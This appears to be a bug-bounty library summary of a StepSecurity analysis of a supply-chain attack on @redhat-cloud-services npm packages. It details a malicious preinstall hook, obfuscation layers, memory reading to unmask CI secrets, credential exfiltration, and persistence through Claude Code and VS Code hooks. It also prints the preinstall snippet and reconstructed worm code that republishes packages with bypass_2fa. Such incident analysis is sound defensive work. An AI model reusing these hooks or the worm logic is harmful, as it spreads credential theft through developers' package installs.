# Multiple redhat-cloud-services npm Packages compromised

Malicious preinstall hook in @redhat-cloud-services npm packages harvests CI/CD and cloud credentials from runner memory and self-propagates via stolen npm tokens.

- Payout: Real-world hack
- Severity: critical
- Program: Red Hat Cloud Services
- Analysis by: StepSecurity
- Disclosed: 2026-06-02
- Write-up quality: 8/10
- Original: https://www.stepsecurity.io/blog/multiple-redhat-cloud-services-npm-packages-compromised
- Library page: https://bugbountylibrary.com/r/blog%3Astepsecurity-io-blog-multiple-redhat-cloud-services-npm-packages-compromised
- Tags: area:oss domain:oss impact:data-leak impact:mass-exploit kind:incident platform:threat-intel sev:critical tech:github-actions tech:nodejs technique:reverse-engineering technique:source-review vuln:secrets-leak

**Target:** @redhat-cloud-services npm packages (preinstall hook, index.js)
**Root cause:** Upstream GitHub Actions OIDC publishing pipeline for RedHatInsights/javascript-clients was compromised, allowing attackers to publish backdoored package versions whose package.json preinstall script runs node index.js on every npm install.
**Steps:**
1. Compromised CI/CD publishes package versions with `"preinstall": "node index.js"` in package.json.
2. On `npm install`, index.js (4.2 MB) executes before app code.
3. Layer 1: `try { eval(...) } catch(e) {}` with ROT-21 Caesar cipher over numeric char-code array.
4. Layer 2: AES-128-GCM blobs _b (Bun downloader) and _p (implant) decrypted with hardcoded keys/IVs.
5. Layer 3: obfuscator.io with reversed base64 alphabet and 2,219-entry string table rotated 284 times.
6. Layer 4: B5 cipher (PBKDF2 200k iterations, Fisher-Yates) decrypts C2 domains and paths.
7. Payload reads `/proc/<pid>/mem` of `Runner.Worker`, using `ACTIONS_RUNTIME_TOKEN` to enumerate `isSecret: true` vars and extract masked secrets.
8. Sweeps AWS/GCP/Azure/Vault/K8s/npm/PyPI/SSH/Docker/GPG/.env credentials.
9. Worm: uses stolen npm token to enumerate publishable packages and republish trojanized versions with `bypass_2fa: true`.
10. Exfiltrates via api.github.com with `User-Agent: python-requests/2.31.0` and via GitHub Contents API dead-drop commits.
11. Persistence: injects Claude Code `SessionStart` hook in `~/.claude/settings.json` and VS Code `folderOpen` task in `.vscode/tasks.json`.
**How found:** StepSecurity noticed a 4.2 MB index.js in a library package (should be kilobytes), traced the preinstall hook, and deobfuscated three layers statically and dynamically using Harden-Runner in audit mode to observe /proc/mem reads of Runner.Worker.
**Exploitation:** Any developer or CI pipeline running npm install of an affected version executes the preinstall hook, which decrypts three obfuscation layers, reads runner process memory to bypass secret masking, harvests cloud/registry/SSH credentials, exfiltrates over api.github.com to a 16-account C2 pool, and republishes backdoored packages using stolen npm tokens with bypass_2fa to propagate autonomously.
**Escalation:** Self-propagating worm: each infected machine with an npm token seeds the next wave of compromised packages, scaling without attacker involvement; persistence hooks in Claude Code and VS Code survive package removal.
**Insight:** A preinstall script plus an oversized index.js at package root is a strong supply-chain signal; also check whether CI secrets are only masked in logs — reading /proc/<pid>/mem of Runner.Worker bypasses masking entirely, so masking is not a security boundary.

## Proof of concept (copied exactly from the original report)

**Preinstall hook running node index.js**

```
"scripts": {
 "preinstall": "node index.js"
}
```

**Worm republish logic with bypass_2fa**

```
// Worm propagation logic (reconstructed)
const npmToken = process.env.NPM_TOKEN ?? readNpmrc();
if (!npmToken) return;

// 1. Authenticate
const tokens = await fetch('https://registry.npmjs.org/-/npm/v1/tokens', {
 headers: { Authorization: `Bearer ${npmToken}` }
}).then(r => r.json());

// 2. Enumerate publishable packages
const packages = await getPublishablePackages(npmToken);

// 3. Publish trojanized version with bypass_2fa flag
for (const pkg of packages) {
 const trojan = buildTrojanVersion(pkg);
 await npmPublish(trojan, { bypass_2fa: true });
}
```

